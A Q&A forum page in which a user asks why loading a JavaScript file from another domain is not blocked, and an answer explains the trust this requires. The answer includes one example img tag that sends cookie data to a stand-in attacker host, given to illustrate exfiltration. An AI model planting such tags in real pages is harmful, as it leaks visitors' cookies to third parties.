Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 545035
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 13, 20262026-05-13T10:43:07+00:00 2026-05-13T10:43:07+00:00

Why is it that when we link to a javascript file on x.com from

  • 0

Why is it that when we link to a javascript file on x.com from y.com (for example google analytics or jquery) it doesn’t cause any cross domain security issues?

For example:

in y.com/index.html we have:

<script type="text/javascript" src="http://x.com/jsfile.js" />

How can we know when this is ok to do and when it’s not?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-13T10:43:08+00:00Added an answer on May 13, 2026 at 10:43 am

    It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.

    For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.

    David’s comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:

    <img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
    

    If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.

    The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn’t alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it’s no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.

    As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it’s a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Ask A Question

Stats

  • Questions 313k
  • Answers 313k
  • Best Answers 0
  • User 1
  • Popular
  • Answers
  • Editorial Team

    How to approach applying for a job at a company ...

    • 7 Answers
  • Editorial Team

    What is a programmer’s life like?

    • 5 Answers
  • Editorial Team

    How to handle personal stress caused by utterly incompetent and ...

    • 5 Answers
  • Editorial Team
    Editorial Team added an answer Instead of div.thedialog, give div#thedialog. the . is used with… May 13, 2026 at 10:52 pm
  • Editorial Team
    Editorial Team added an answer You can map the initial route (/page) to the controller,… May 13, 2026 at 10:52 pm
  • Editorial Team
    Editorial Team added an answer The Referer is an information sent from the browser to… May 13, 2026 at 10:52 pm

Related Questions

I'm having a bit of trouble trying to get class variables to work in
We've got a menu in out web app that uses <a> tags to load
Response.Write(<script language=\javascript\>window.open( with https and pdf What we do in a Asp.Net 1.1.4332 application
We primarily use an ASP.NET environment at work. Right now I'm building an application
Let me first say, we validate every field on the server side, so this

Trending Tags

analytics british company computer developers django employee employer english facebook french google interview javascript language life php programmer programs salary

Top Members

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.